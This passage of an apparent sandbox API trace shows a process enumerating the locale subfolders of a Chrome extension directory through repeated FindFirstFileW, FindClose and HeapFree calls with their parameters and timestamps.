lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.075] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.076] GetProcessHeap () returned 0x550000 [0269.076] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.324] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.325] GetProcessHeap () returned 0x550000 [0269.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.325] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.325] GetProcessHeap () returned 0x550000 [0269.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.490] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.490] GetProcessHeap () returned 0x550000 [0269.490] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.565] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.565] GetProcessHeap () returned 0x550000 [0269.565] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.566] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.566] GetProcessHeap () returned 0x550000 [0269.566] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.693] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.694] GetProcessHeap () returned 0x550000 [0269.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.694] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.694] GetProcessHeap () returned 0x550000 [0269.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.783] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.783] GetProcessHeap () returned 0x550000 [0269.783] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.783] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.783] GetProcessHeap () returned 0x550000 [0269.784] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.898] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.898] GetProcessHeap () returned 0x550000 [0269.898] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.899] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.899] GetProcessHeap () returned 0x550000 [0269.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.906] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.906] GetProcessHeap () returned 0x550000 [0269.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.906] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.907] GetProcessHeap () returned 0x550000 [0269.907] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.909] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.909] GetProcessHeap () returned 0x550000 [0269.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.909] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.909] GetProcessHeap () returned 0x550000 [0269.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.911] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.911] GetProcessHeap () returned 0x550000 [0269.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.912] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.912] GetProcessHeap () returned 0x550000 [0269.912] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.914] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.914] GetProcessHeap () returned 0x550000 [0269.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.914] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.915] GetProcessHeap () returned 0x550000 [0269.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.916] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.916] GetProcessHeap () returned 0x550000 [0269.916] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.916] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.917] GetProcessHeap () returned 0x550000 [0269.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.918] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.918] GetProcessHeap () returned 0x550000 [0269.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0269.918] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0269.919] GetProcessHeap () returned 0x550000 [0269.919] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0269.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.018] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.018] GetProcessHeap () returned 0x550000 [0270.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.019] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.019] GetProcessHeap () returned 0x550000 [0270.019] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0270.064] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0270.065] GetProcessHeap () returned 0x550000 [0270.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0270.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, 